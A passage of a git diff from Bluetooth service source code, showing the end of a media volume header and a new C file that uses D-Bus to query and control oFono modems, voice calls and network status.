BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __MEDIA_SYSTEM_H__ +#define __MEDIA_SYSTEM_H__ + +#define INVALID_MEDIA_VOLUME (-1) + +typedef void (*bt_media_voice_volume_change_callback_t)(void* context, int volume); + +int bt_media_get_music_volume_range(void); +int bt_media_volume_avrcp_to_media(uint8_t volume); +uint8_t bt_media_volume_media_to_avrcp(int volume); +int bt_media_volume_hfp_to_media(uint8_t hfp_volume); +uint8_t bt_media_volume_media_to_hfp(int media_volume); +void bt_media_remove_listener(void* handle); +bt_status_t bt_media_set_a2dp_available(void); +bt_status_t bt_media_set_a2dp_unavailable(void); +bt_status_t bt_media_set_hfp_samplerate(uint16_t samplerate); +void* bt_media_listen_voice_call_volume_change(bt_media_voice_volume_change_callback_t cb, void* context); +bt_status_t bt_media_get_voice_call_volume(int* volume); +bt_status_t bt_media_set_voice_call_volume(int volume); +void* bt_media_listen_music_volume_change(bt_media_voice_volume_change_callback_t cb, void* context); +bt_status_t bt_media_get_music_volume(int* volume); +bt_status_t bt_media_set_music_volume(int volume); +bt_status_t bt_media_set_sco_available(void); +bt_status_t bt_media_set_sco_unavailable(void); +bt_status_t bt_media_set_a2dp_offloading(bool enable); +bt_status_t bt_media_set_hfp_offloading(bool enable); +bt_status_t bt_media_set_lea_offloading(bool enable); +bt_status_t bt_media_set_lea_available(void); +bt_status_t bt_media_set_lea_unavailable(void); +bt_status_t bt_media_set_anc_enable(bool enable); + +#endif /* __MEDIA_SYSTEM_H__ */ \ No newline at end of file diff --git a/service/profiles/system/telephony_interface.c b/service/profiles/system/telephony_interface.c new file mode 100644 index 0000000000000000000000000000000000000000..810942f1b41c421f43f73411ead994a1e6ee8330 --- /dev/null +++ b/service/profiles/system/telephony_interface.c @@ -0,0 +1,1168 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "teleif" +#include <assert.h> +#include <stdbool.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#if defined(CONFIG_LIB_DBUS_RPMSG_SERVER_CPUNAME) || defined(CONFIG_OFONO) + +#include <dbus/dbus.h> + +#include "bluetooth.h" +#include "bt_list.h" +#include "gdbus.h" +#include "telephony_interface.h" +#include "utils/log.h" +#define OFONO_SERVICE "org.ofono" +#define OFONO_MANAGER_PATH "/" +#define OFONO_MANAGER_INTERFACE OFONO_SERVICE ".Manager" +#define OFONO_MODEM_INTERFACE OFONO_SERVICE ".Modem" +#define OFONO_VOICECALL_MANAGER_INTERFACE OFONO_SERVICE ".VoiceCallManager" +#define OFONO_VOICECALL_INTERFACE OFONO_SERVICE ".VoiceCall" +#define OFONO_NETWORK_REGISTRATION_INTERFACE OFONO_SERVICE ".NetworkRegistration" +#define OFONO_NETWORK_OPERATOR_INTERFACE OFONO_SERVICE ".NetworkOperator" +#define OFONO_CALL_BARRING_INTERFACE OFONO_SERVICE ".CallBarring" +#define OFONO_CALL_FORWARDING_INTERFACE OFONO_SERVICE ".CallForwarding" +#define OFONO_CALL_SETTINGS_INTERFACE OFONO_SERVICE ".CallSettings" +#define OFONO_MESSAGE_MANAGER_INTERFACE OFONO_SERVICE ".MessageManager" + +typedef struct tele_client_ { + DBusConnection* dbus_sys; + DBusConnection* dbus_session; + GDBusClient* dbus_client; + bt_list_t* modems; + tele_callbacks_t* cbs; + bool is_ready; +} tele_client_t; + +typedef struct tele_modem_ { + tele_client_t* client; + GDBusProxy* proxy; + GDBusProxy* network_operator; + GDBusProxy* network_registration; + GDBusProxy* voicecall_managers; + bt_list_t* voicecalls; + bool online; +} tele_modem_t; + +typedef bool (*property_parser_func_t)(void* user_data, char* key, + DBusMessageIter* val, uint8_t flag); + +static bool tele_support_interface(const char* interface) +{ + if ((strcmp(interface, OFONO_VOICECALL_INTERFACE) == 0) + || (strcmp(interface, OFONO_VOICECALL_MANAGER_INTERFACE) == 0) + || (strcmp(interface, OFONO_NETWORK_REGISTRATION_INTERFACE) == 0) + || (strcmp(interface, OFONO_NETWORK_OPERATOR_INTERFACE) == 0) + || (strcmp(interface, OFONO_MODEM_INTERFACE) == 0)) { + return true; + } + + return false; +} + +static gboolean proxy_filter(GDBusClient* client, const char* path, + const char* interface) +{ + /* only support interface isn't filter out and will create proxy */ + return tele_support_interface(interface) ? FALSE : TRUE; +} + +static gboolean object_filter(GDBusProxy* proxy) +{ + const char* interface = g_dbus_proxy_get_interface(proxy); + if (interface == NULL) + return TRUE; + + /* only follow interface will get interface's properties. + * if support interface no need get prop, modify here. + */ + if (tele_support_interface(interface)) + return FALSE; + + BT_LOGE("not get proper for unsupport interface:%s", interface); + return TRUE; +} + +static bool property_parser(DBusMessageIter* iter, property_parser_func_t func, + void* user_data, uint8_t flag) +{ + DBusMessageIter value; + char* key; + + /* get call property key from iter */ + if (dbus_message_iter_get_arg_type(iter) != DBUS_TYPE_STRING) { + BT_LOGE("%s, error key is not string type", __func__); + return false; + } + + dbus_message_iter_get_basic(iter, &key); + + /* get call property value iter */ + dbus_message_iter_next(iter); + if (dbus_message_iter_get_arg_type(iter) != DBUS_TYPE_VARIANT) { + BT_LOGE("%s, error value is not variant type", __func__); + return false; + } + dbus_message_iter_recurse(iter, &value); + + /* get property value from valueiter by user */ + if (func) + return func(user_data, key, &value, flag); + + return false; +} + +static bool properties_parser(DBusMessageIter* iter, + property_parser_func_t func, void* user_data, + uint8_t flag) +{ + while (dbus_message_iter_get_arg_type(iter) == DBUS_TYPE_DICT_ENTRY) { + DBusMessageIter entry; + + /* get key entry from message iter */ + dbus_message_iter_recurse(iter, &entry); + + /* parser property key-value */ + if (!property_parser(&entry, func, user_data, flag)) + return false; + + /* get next key entry */ + dbus_message_iter_next(iter); + } + + return true; +} + +static int disconnect_reason_to_value(const char* reason) +{ + if (!strcmp(reason, "local")) + return CALL_DISCONNECT_REASON_LOCAL_HANGUP; + else if (!strcmp(reason, "remote")) + return CALL_DISCONNECT_REASON_REMOTE_HANGUP; + + return CALL_DISCONNECT_REASON_UNKNOWN; +} + +static uint8_t call_string_to_state(char* call_state_str) +{ + uint8_t state; + if (!strcmp(call_state_str, "active")) + state = CALL_STATUS_ACTIVE; + else if (!strcmp(call_state_str, "held")) + state = CALL_STATUS_HELD; + else if (!strcmp(call_state_str, "dialing")) + state = CALL_STATUS_DIALING; + else if (!strcmp(call_state_str, "alerting")) + state = CALL_STATUS_ALERTING; + else if (!strcmp(call_state_str, "incoming")) + state = CALL_STATUS_INCOMING; + else if (!strcmp(call_state_str, "waiting")) + state = CALL_STATUS_WAITING; + else + state = CALL_STATUS_DISCONNECTED; + + return state; +} + +static int registration_status_to_value(const char* str) +{ + if (!strcmp(str, "unregistered")) + return NETWORK_REG_STATUS_NOT_REGISTERED; + else if (!strcmp(str, "registered")) + return NETWORK_REG_STATUS_REGISTERED; + else if (!strcmp(str, "searching")) + return NETWORK_REG_STATUS_SEARCHING; + else if (!strcmp(str, "denied")) + return NETWORK_REG_STATUS_DENIED; + else if (!strcmp(str, "unknown")) + return NETWORK_REG_STATUS_UNKNOWN; + else if (!strcmp(str, "roaming")) + return NETWORK_REG_STATUS_ROAMING; + else if (!strcmp(str, "registered")) + return NETWORK_REG_STATUS_REGISTERED; + + return NETWORK_REG_STATUS_UNKNOWN; +} + +static int operator_status_to_value(const char* str) +{ + if (!strcmp(str, "available")) + return OPERATOR_STATUS_AVAILABLE; + else if (!strcmp(str, "current")) + return OPERATOR_STATUS_CURRENT; + else if (!strcmp(str, "forbidden")) + return OPERATOR_STATUS_FORBIDDEN; + + return OPERATOR_STATUS_UNKNOWN; +} + +static tele_call_t* tele_voicecall_new(tele_modem_t* modem, GDBusProxy* proxy) +{ + tele_call_t* call = malloc(sizeof(tele_call_t)); + + memset(call, 0, sizeof(tele_call_t)); + call->client = modem->client; + call->proxy = proxy; + + return call; +} + +static void tele_voicecall_delete(tele_call_t* call) +{ + free(call); +} + +static tele_call_t* voicecall_proxy_added(tele_modem_t* modem, GDBusProxy* proxy) +{ + tele_call_t* call = tele_voicecall_new(modem, proxy); + if (call) + bt_list_add_tail(modem->voicecalls, call); + + return call; +} + +static void voicecall_proxy_remove(tele_modem_t* modem, GDBusProxy* proxy) +{ + tele_call_t* call; + bt_list_node_t* node; + bt_list_t* list = modem->voicecalls; + + for (node = bt_list_head(list); node != NULL; + node = bt_list_next(list, node)) { + call = bt_list_node(node); + if (call->proxy == proxy) { + bt_list_remove_node(list, node); + tele_voicecall_delete(call); + break; + } + } +} + +static int tele_call_get_call_info(tele_client_t* tele, tele_call_t* call) +{ + if (!call) + return TELE_INV_PARAM; + + DBusMessageIter iter; + GDBusProxy* proxy = call->proxy; + void* p_basic = NULL; + dbus_bool_t ret; + + if (g_dbus_proxy_get_property(proxy, "Multiparty", &iter)) { + dbus_message_iter_get_basic(&iter, &ret); + call->is_multiparty = ret; + } + if (g_dbus_proxy_get_property(proxy, "RemoteMultiparty", &iter)) { + dbus_message_iter_get_basic(&iter, &ret); + call->is_remote_multiparty = ret; + } + if (g_dbus_proxy_get_property(proxy, "State", &iter)) { + dbus_message_iter_get_basic(&iter, &p_basic); + call->call_state = call_string_to_state((char*)p_basic); + } + if (g_dbus_proxy_get_property(proxy, "StartTime", &iter)) { + dbus_message_iter_get_basic(&iter, &p_basic); + snprintf(call->start_time, 128, "%s", (char*)p_basic); + } + if (g_dbus_proxy_get_property(proxy, "LineIdentification", &iter)) { + dbus_message_iter_get_basic(&iter, &p_basic); + snprintf(call->line_identification, TELE_MAX_PHONE_NUMBER_LENGTH, "%s", + (char*)p_basic); + } + if (g_dbus_proxy_get_property(proxy, "IncomingLine", &iter)) { + dbus_message_iter_get_basic(&iter, &p_basic); + snprintf(call->incoming_line, TELE_MAX_PHONE_NUMBER_LENGTH, "%s", + (char*)p_basic); + } + if (g_dbus_proxy_get_property(proxy, "Name", &iter)) { + dbus_message_iter_get_basic(&iter, &p_basic); + snprintf(call->name, TELE_MAX_CALLER_NAME_LENGTH, "%s", (char*)p_basic); + } + if (g_dbus_proxy_get_property(proxy, "RemoteHeld", &iter)) { + dbus_message_iter_get_basic(&iter, &ret); + call->is_remote_held = ret; + } + if (g_dbus_proxy_get_property(proxy, "Emergency", &iter)) { + dbus_message_iter_get_basic(&iter, &ret); + call->is_emergency = ret; + } + + return TELE_SUCCESS; +} + +/* + * modem + */ + +static tele_modem_t* tele_modem_new(tele_client_t* tele, GDBusProxy* proxy) +{ + tele_modem_t* modem = malloc(sizeof(tele_modem_t)); + if (!modem) + return NULL; + + memset(modem, 0, sizeof(tele_modem_t)); + modem->client = tele; + modem->proxy = proxy; + modem->online = false; + modem->voicecalls = bt_list_new(NULL); + + return modem; +} + +static void tele_modem_delete(tele_modem_t* modem) +{ + bt_list_free(modem->voicecalls); + free(modem); +} + +static tele_modem_t* modem_proxy_added(tele_client_t* tele, GDBusProxy* proxy) +{ + tele_modem_t* modem = tele_modem_new(tele, proxy); + if (!modem) + return NULL; + + bt_list_add_tail(tele->modems, modem); + + return modem; +} + +static void modem_proxy_remove(tele_client_t* tele, GDBusProxy* proxy) +{ + tele_modem_t* modem; + bt_list_node_t* node; + bt_list_t* list = tele->modems; + + for (node = bt_list_head(list); node != NULL; + node = bt_list_next(list, node)) { + modem = bt_list_node(node); + if (modem->proxy == proxy) { + bt_list_remove_node(list, node); + tele_modem_delete(modem); + break; + } + } +} + +static tele_modem_t* modem_find_by_path(tele_client_t* tele, const char* path) +{ + tele_modem_t* modem; + bt_list_node_t* node; + bt_list_t* modems = tele->modems; + + for (node = bt_list_head(modems); node != NULL; + node = bt_list_next(modems, node)) { + modem = bt_list_node(node); + const char* modem_path = g_dbus_proxy_get_path(modem->proxy); + if (strncmp(modem_path, path, strlen(modem_path)) == 0) + return modem; + } + + return NULL; +} + +static void ofono_connect_handler(DBusConnection* connection, void* user_data) +{ + BT_LOGD("org.ofono appeared"); +} + +static void ofono_disconnect_handler(DBusConnection* connection, + void* user_data) +{ + tele_client_t* tele = user_data; + BT_LOGD("org.ofono disappeared"); + + tele->is_ready = false; + + if (tele->cbs && tele->is_ready) + tele->cbs->connection_state_cb(tele, false); +} + +static tele_call_t* find_voicecall(tele_modem_t* modem, void* proxy) +{ + tele_call_t* call; + bt_list_node_t* node; + bt_list_t* list = modem->voicecalls; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + call = bt_list_node(node); + if (call->proxy == proxy) + return call; + } + + return NULL; +} + +static bool voicecall_property_parser(void* user_data, char* key, + DBusMessageIter* val, uint8_t flag) +{ + void* p_basic; + tele_call_t* call = user_data; + + /* get call property value from valueiter */ + dbus_message_iter_get_basic(val, &p_basic); + if (!strcmp(key, "Multiparty")) + call->is_multiparty = PTR2INT(uint64_t) p_basic; + else if (!strcmp(key, "RemoteMultiparty")) + call->is_remote_multiparty = PTR2INT(uint64_t) p_basic; + else if (!strcmp(key, "State")) { + call->call_state = call_string_to_state((char*)p_basic); + } else if (!strcmp(key, "StartTime")) + snprintf(call->start_time, 128, "%s", (char*)p_basic); + else if (!strcmp(key, "LineIdentification")) + snprintf(call->line_identification, TELE_MAX_PHONE_NUMBER_LENGTH, "%s", + (char*)p_basic); + else if (!strcmp(key, "IncomingLine")) + snprintf(call->incoming_line, TELE_MAX_PHONE_NUMBER_LENGTH, "%s", + (char*)p_basic); + else if (!strcmp(key, "Name")) + snprintf(call->name, TELE_MAX_CALLER_NAME_LENGTH, "%s", (char*)p_basic); + else if (!strcmp(key, "RemoteHeld")) + call->is_remote_held = PTR2INT(uint64_t) p_basic; + else if (!strcmp(key, "Emergency")) + call->is_emergency = PTR2INT(uint64_t) p_basic; + else { + BT_LOGE("%s, unknown property key:%s", __func__, key); + return false; + } + + return true; +} + +static void voicecall_manager_signal_process(tele_client_t* tele, + DBusMessage* message, + const char* interface, + const char* signal) +{ + DBusMessageIter iter; + const char* path; + tele_call_t* call; + + if (!dbus_message_iter_init(message, &iter)) { + BT_LOGE("%s, message has no arguments", __func__); + return; + } + + /* get call patch */ + dbus_message_iter_get_basic(&iter, &path); + + /* get call proxy by path */ + GDBusProxy* proxy = g_dbus_proxy_new(tele->dbus_client, path, OFONO_VOICECALL_INTERFACE); + if (proxy == NULL) { + BT_LOGE("%s, %s-%s proxy not found", __func__, path, + OFONO_VOICECALL_INTERFACE); + return; + } + + tele_modem_t* modem = modem_find_by_path(tele, path); + if (!modem) { + BT_LOGE("%s, failed to find modem, path:%s", __func__, path); + return; + } + + call = find_voicecall(modem, proxy); + + if (!strcmp(signal, "CallAdded")) { + DBusMessageIter props; + if (!call) + call = voicecall_proxy_added(modem, proxy); + + dbus_message_iter_next(&iter); + dbus_message_iter_recurse(&iter, &props); + properties_parser(&props, voicecall_property_parser, call, 0); + /* notify user call added */ + if (tele->cbs && tele->cbs->call_added_cb) + tele->cbs->call_added_cb(tele, call); + } else if (!strcmp(signal, "CallRemoved")) { + /* notify user call removed */ + if (tele->cbs && tele->cbs->call_removed_cb) + tele->cbs->call_removed_cb(tele, call); + } +} + +static void voicecall_signal_process(tele_client_t* tele, + DBusMessage* message, + const char* interface, + const char* signal) +{ + DBusMessageIter iter; + void* basic; + const char* path = dbus_message_get_path(message); + GDBusProxy* proxy = g_dbus_proxy_new(tele->dbus_client, path, OFONO_VOICECALL_INTERFACE); + if (!dbus_message_iter_init(message, &iter)) { + BT_LOGE("%s, message has no arguments", __func__); + return; + } + + dbus_message_iter_get_basic(&iter, &basic); + if (!strcmp(signal, "DisconnectReason")) { + int reason = disconnect_reason_to_value((const char*)basic); + tele_modem_t* modem = modem_find_by_path(tele, path); + if (!modem) { + BT_LOGE("%s, failed to find modem, path:%s", __func__, path); + return; + } + + tele_call_t* call = find_voicecall(modem, proxy); + if (!call) { + BT_LOGE("%s, failed to find call", __func__); + return; + } + + tele_call_callbacks_t* cbs = call->call_cbs; + if (cbs) + cbs->call_disconnect_reason_cb(tele, call, reason); + } +} + +static void ofono_interface_signal_callback(DBusConnection* connection, + DBusMessage* message, + void* user_data) +{ + tele_client_t* tele = (tele_client_t*)user_data; + const char* interface = dbus_message_get_interface(message); + const char* signal = dbus_message_get_member(message); + + assert(tele->dbus_sys == connection); + + if (!strcmp(interface, OFONO_VOICECALL_MANAGER_INTERFACE) && (!strcmp(signal, "CallAdded") || !strcmp(signal, "CallRemoved"))) + voicecall_manager_signal_process(tele, message, interface, signal); + else if (!strcmp(interface, OFONO_VOICECALL_INTERFACE)) + voicecall_signal_process(tele, message, interface, signal); +} + +static void modem_based_proxy_added(tele_client_t* tele, GDBusProxy* proxy) +{ + tele_modem_t* modem; + const char* path; + const char* interface; + + path = g_dbus_proxy_get_path(proxy); + interface = g_dbus_proxy_get_interface(proxy); + modem = modem_find_by_path(tele, path); + if (!modem) + return; + + if (!strcmp(interface, OFONO_VOICECALL_MANAGER_INTERFACE)) + modem->voicecall_managers = proxy; + else if (!strcmp(interface, OFONO_VOICECALL_INTERFACE)) { + tele_call_t* call = voicecall_proxy_added(modem, proxy); + tele_call_get_call_info(tele, call); +/* notify user call added */ +#if 0 + if (tele->cbs && tele->cbs->call_added_cb) + tele->cbs->call_added_cb(tele, call); +#endif + } else if (!strcmp(interface, OFONO_NETWORK_REGISTRATION_INTERFACE)) + modem->network_registration = proxy; + else if (!strcmp(interface, OFONO_NETWORK_OPERATOR_INTERFACE)) + modem->network_operator = proxy; +} + +static void modem_based_proxy_removed(tele_client_t* tele, GDBusProxy* proxy) +{ + tele_modem_t* modem; + const char* path; + const char* interface; + + path = g_dbus_proxy_get_path(proxy); + interface = g_dbus_proxy_get_interface(proxy); + modem = modem_find_by_path(tele, path); + if (!modem) + return; + + if (!strcmp(interface, OFONO_VOICECALL_MANAGER_INTERFACE)) + modem->voicecall_managers = NULL; + else if (!strcmp(interface, OFONO_VOICECALL_INTERFACE)) { + voicecall_proxy_remove(modem, proxy); +#if 0 + tele_call_t *call = find_voicecall(modem, proxy); + if (tele->cbs && tele->cbs->call_removed_cb) + tele->cbs->call_removed_cb(tele, call); + bt_list_remove(modem->voicecalls, call); + tele_voicecall_delete(call); +#endif + } else if (!strcmp(interface, OFONO_NETWORK_REGISTRATION_INTERFACE)) + modem->network_registration = NULL; + else if (!strcmp(interface, OFONO_NETWORK_OPERATOR_INTERFACE)) + modem->network_operator = NULL; +} + +static tele_modem_t* get_modem(tele_client_t* tele, int slot) +{ + bt_list_t* modems = tele->modems; + bt_list_node_t* node; + int index = 0; + + if (slot > bt_list_length(modems)) + return NULL; + + for (node = bt_list_head(modems); node != NULL; node = bt_list_next(modems, node)) { + if (index == slot) + return (tele_modem_t*)bt_list_node(node); + + index++; + } + + return NULL; +} + +static GDBusProxy* get_voice_callmanager(tele_client_t* tele, int slot) +{ + tele_modem_t* modem = get_modem(tele, slot); + + return modem ? modem->voicecall_managers : NULL; +} + +static GDBusProxy* get_network_operator(tele_client_t* tele, int slot) +{ + tele_modem_t* modem = get_modem(tele, slot); + + return modem ? modem->network_operator : NULL; +} + +static GDBusProxy* get_network_registration(tele_client_t* tele, int slot) +{ + tele_modem_t* modem = get_modem(tele, slot); + + return modem ? modem->network_registration : NULL; +} + +static void ofono_interface_proxy_added(GDBusProxy* proxy, void* user_data) +{ + tele_client_t* tele = (tele_client_t*)user_data; + const char* interface = g_dbus_proxy_get_interface(proxy); + + if (!strcmp(interface, OFONO_MODEM_INTERFACE)) + modem_proxy_added(tele, proxy); + else + modem_based_proxy_added(tele, proxy); +} + +static void ofono_interface_proxy_removed(GDBusProxy* proxy, void* user_data) +{ + tele_client_t* tele = (tele_client_t*)user_data; + const char* interface = g_dbus_proxy_get_interface(proxy); + + if (!strcmp(interface, OFONO_MODEM_INTERFACE)) + modem_proxy_remove(tele, proxy); + else + modem_based_proxy_removed(tele, proxy); +} + +static void ofono_client_ready_cb(GDBusClient* client, void* user_data) +{ + tele_client_t* tele = user_data; + + if (tele->is_ready) + return; + + tele->is_ready = true; + + if (tele->cbs) + tele->cbs->connection_state_cb(tele, true); +} + +void ofono_property_changed(GDBusProxy* proxy, const char* name, + DBusMessageIter* iter, void* user_data) +{ + tele_client_t* tele = (tele_client_t*)user_data; + const char* interface = g_dbus_proxy_get_interface(proxy); + const char* path = g_dbus_proxy_get_path(proxy); + + if (!strcmp(interface, OFONO_MODEM_INTERFACE)) { + if (!strcmp(name, "RadioState")) { + int state; + + dbus_message_iter_get_basic(iter, &state); + if (tele->cbs && tele->cbs->radio_state_change_cb) + tele->cbs->radio_state_change_cb(tele, state); + } + } else if (!strcmp(interface, OFONO_VOICECALL_MANAGER_INTERFACE)) { + /* todo: */ + } else if (!strcmp(interface, OFONO_VOICECALL_INTERFACE)) { + tele_modem_t* modem = modem_find_by_path(tele, path); + if (!modem) { + BT_LOGE("%s, failed to find modem, path:%s", __func__, path); + return; + } + + tele_call_t* call = find_voicecall(modem, proxy); + if (!call) { + BT_LOGE("%s, failed to find call", __func__); + return; + } + + tele_call_get_call_info(tele, call); + tele_call_callbacks_t* cbs = call->call_cbs; + if (cbs && cbs->call_state_changed_cb) + cbs->call_state_changed_cb(tele, call, call->call_state); + } else if (!strcmp(interface, OFONO_NETWORK_REGISTRATION_INTERFACE)) { + if (!strcmp(name, "Status")) { + char* str = NULL; + dbus_message_iter_get_basic(iter, &str); + int status = registration_status_to_value(str); + if (tele->cbs && tele->cbs->network_reg_state_changed_cb) + tele->cbs->network_reg_state_changed_cb(tele, status); + } else if (!strcmp(name, "Strength")) { + int strength = -1; + dbus_message_iter_get_basic(iter, &strength); + if (tele->cbs && tele->cbs->signal_strength_changed_cb) + tele->cbs->signal_strength_changed_cb(tele, strength); + } + } else if (!strcmp(interface, OFONO_NETWORK_OPERATOR_INTERFACE)) { + void* basic; + + if (!strcmp(name, "Name")) { + dbus_message_iter_get_basic(iter, &basic); + if (tele->cbs && tele->cbs->operator_name_changed_cb) + tele->cbs->operator_name_changed_cb(tele, name); + } else if (!strcmp(name, "Status")) { + dbus_message_iter_get_basic(iter, &basic); + int status = operator_status_to_value((const char*)basic); + if (tele->cbs && tele->cbs->operator_status_changed_cb) + tele->cbs->operator_status_changed_cb(tele, status); + } + } +} + +/* + * Disconnect handler for private dbus connections. + * This is necessary when calling dbus_connection_close(), otherwise + * the corresponding thread will be removed. + */ +static void system_bus_disconnected(DBusConnection* conn, void* user_data) +{ + BT_LOGD("System bus has disconnected"); +} + +tele_client_t* teleif_client_connect(const char* name) +{ + GDBusClient* dbus_client; + + tele_client_t* tele = malloc(sizeof(tele_client_t)); + if (!tele) + return NULL; + + tele->is_ready = false; + tele->modems = bt_list_new(NULL); + tele->dbus_sys = g_dbus_setup_private(DBUS_BUS_SYSTEM, NULL, NULL); + if (!tele->dbus_sys) { + BT_LOGE("Can't get on system bus"); + bt_list_free(tele->modems); + free(tele); + return NULL; + } + + /* Set disconnect handler to avoid the thread being killed after dbus_connection_close() */ + g_dbus_set_disconnect_function(tele->dbus_sys, system_bus_disconnected, NULL, NULL); + + dbus_client = g_dbus_client_new(tele->dbus_sys, OFONO_SERVICE, OFONO_MANAGER_PATH); + tele->dbus_client = dbus_client; + g_dbus_client_set_proxy_filter(dbus_client, proxy_filter, tele); + g_dbus_client_set_connect_watch(dbus_client, ofono_connect_handler, tele); + g_dbus_client_set_disconnect_watch(dbus_client, ofono_disconnect_handler, tele); + g_dbus_client_set_proxy_handlers(dbus_client, ofono_interface_proxy_added, + ofono_interface_proxy_removed, + object_filter, + ofono_property_changed, tele); + g_dbus_client_set_signal_watch(dbus_client, ofono_interface_signal_callback, tele); + g_dbus_client_set_ready_watch(dbus_client, ofono_client_ready_cb, tele); + + return tele; +} + +void teleif_client_disconnect(tele_client_t* tele) +{ + tele->is_ready = false; + g_dbus_client_unref(tele->dbus_client); + dbus_connection_close(tele->dbus_sys); + dbus_connection_unref(tele->dbus_sys); + bt_list_free(tele->modems); + free(tele); +} + +void teleif_register_callbacks(tele_client_t* tele, int slot, tele_callbacks_t* cbs) +{ + tele->cbs = cbs; +} + +void teleif_unregister_callbacks(tele_client_t* tele, int slot, tele_callbacks_t* cbs) +{ + tele->cbs = NULL; +} + +void teleif_call_register_callbacks(tele_client_t* tele, tele_call_t* call, + tele_call_callbacks_t* cbs) +{ + call->call_cbs = cbs; +} + +void teleif_call_unregister_callbacks(tele_client_t* tele, tele_call_t* call, + tele_call_callbacks_t* cbs) +{ + call->call_cbs = NULL; +} + +static void property_set_result(const DBusError* error, void* user_data) +{ +} + +static void property_set_destory(void* user_data) +{ +} + +int teleif_modem_set_radio_power(tele_client_t* tele, int slot, bool poweron) +{ + tele_modem_t* modem = get_modem(tele, slot); + if (!modem) + return TELE_ERR_PROXY; + + if (!g_dbus_proxy_set_property_basic(modem->proxy, "Online", + DBUS_TYPE_BOOLEAN, + &poweron, property_set_result, + NULL, property_set_destory)) { + return TELE_FAIL; + } + + return TELE_SUCCESS; +} + +bool teleif_modem_is_radio_on(tele_client_t* tele, int slot) +{ + DBusMessageIter iter; + int state; + + tele_modem_t* modem = get_modem(tele, slot); + if (!modem) + return RADIO_STATUS_UNAVAILABLE; + + if (!g_dbus_proxy_get_property(modem->proxy, "RadioState", &iter)) + return RADIO_STATUS_UNAVAILABLE; + + dbus_message_iter_get_basic(&iter, &state); + + return state == RADIO_STATUS_ON; +} + +bool teleif_modem_get_radio_power(tele_client_t* tele, int slot) +{ + DBusMessageIter iter; + int power; + + tele_modem_t* modem = get_modem(tele, slot); + if (!modem) + return false; + + if (!g_dbus_proxy_get_property(modem->proxy, "Online", &iter)) + return false; + + dbus_message_iter_get_basic(&iter, &power); + + return power; +} + +int teleif_get_all_calls(tele_client_t* tele, int slot, get_calls_callback_t cbs) +{ + tele_modem_t* modem = get_modem(tele, slot); + bt_list_node_t* node; + bt_list_t* list; + int call_nums; + tele_call_t** calls; + int ind; + + if (!modem) { + return TELE_FAIL; + } + + list = modem->voicecalls; + call_nums = bt_list_length(modem->voicecalls); + if (!call_nums) { + cbs(tele, NULL, 0); + return TELE_SUCCESS; + } + + calls = malloc(sizeof(tele_call_t*) * call_nums); + if (!calls) + return TELE_ERR_NOMEM; + + for (ind = 0, node = bt_list_head(list); node != NULL; + node = bt_list_next(list, node)) { + tele_call_t* call = bt_list_node(node); + calls[ind] = call; + ind++; + } + + cbs(tele, calls, call_nums); + + return TELE_SUCCESS; +} + +typedef struct dial_param { + tele_client_t* cli; + char* number; + dial_callback_t cb; +} dial_param_t; + +static void dial_setup(DBusMessageIter* iter, void* user_data) +{ + dial_param_t* param = user_data; + char* hide_callerid = "default"; + + dbus_message_iter_append_basic(iter, DBUS_TYPE_STRING, ¶m->number); + dbus_message_iter_append_basic(iter, DBUS_TYPE_STRING, &hide_callerid); +} + +static void dial_reply(DBusMessage* message, void* user_data) +{ + DBusError error; + dial_param_t* param = user_data; + bool result = true; + + dbus_error_init(&error); + + if (dbus_set_error_from_message(&error, message) == TRUE) { + BT_LOGE("%s, err:%s", __func__, error.name); + dbus_error_free(&error); + result = false; + } + + if (param->cb) + param->cb(param->cli, result); +} + +static void dial_destory(void* user_data) +{ + free(user_data); +} + +int teleif_call_dial_number(tele_client_t* tele, int slot, char* number, + dial_callback_t cb) +{ + GDBusProxy* proxy = get_voice_callmanager(tele, slot); + if (!proxy) { + BT_LOGE("%s, can't find voicecall manager proxy", __func__); + return TELE_ERR_PROXY; + } + + dial_param_t* param = malloc(sizeof(dial_param_t)); + if (!param) + return TELE_ERR_NOMEM; + + param->cli = tele; + param->number = strdup(number); + param->cb = cb; + + if (!g_dbus_proxy_method_call(proxy, "Dial", dial_setup, + dial_reply, param, dial_destory)) { + free(param); + return TELE_FAIL; + } + + return TELE_SUCCESS; +} + +int teleif_call_answer_call(tele_client_t* tele, tele_call_t* call) +{ + if (!g_dbus_proxy_method_call(call->proxy, "Answer", NULL, NULL, NULL, NULL)) + return TELE_FAIL; + + return TELE_SUCCESS; +} + +int teleif_call_reject_call(tele_client_t* tele, tele_call_t* call) +{ + if (!g_dbus_proxy_method_call(call->proxy, "Hangup", NULL, NULL, NULL, NULL)) + return TELE_FAIL; + + return TELE_SUCCESS; +} + +int teleif_call_hangup_call(tele_client_t* tele, tele_call_t* call) +{ + if (!g_dbus_proxy_method_call(call->proxy, "Hangup", NULL, NULL, NULL, NULL)) + return TELE_FAIL; + + return TELE_SUCCESS; +} + +int teleif_call_hangup_all_call(tele_client_t* tele, int slot) +{ + GDBusProxy* proxy = get_voice_callmanager(tele, slot); + if (!proxy) { + BT_LOGE("%s, can't find voicecall manager proxy", __func__); + return TELE_ERR_PROXY; + } + + if (!g_dbus_proxy_method_call(proxy, "HangupAll", NULL, NULL, NULL, NULL)) + return TELE_FAIL; + + return TELE_SUCCESS; +} + +int teleif_call_release_and_answer(tele_client_t* tele, int slot) +{ + GDBusProxy* proxy = get_voice_callmanager(tele, slot); + if (!proxy) { + BT_LOGE("%s, can't find voicecall manager proxy", __func__); + return TELE_ERR_PROXY; + } + + if (!g_dbus_proxy_method_call(proxy, "ReleaseAndAnswer", NULL, NULL, NULL, NULL)) + return TELE_FAIL; + + return TELE_SUCCESS; +} + +int teleif_call_hold_and_answer(tele_client_t* tele, int slot) +{ + GDBusProxy* proxy = get_voice_callmanager(tele, slot); + if (!proxy) { + 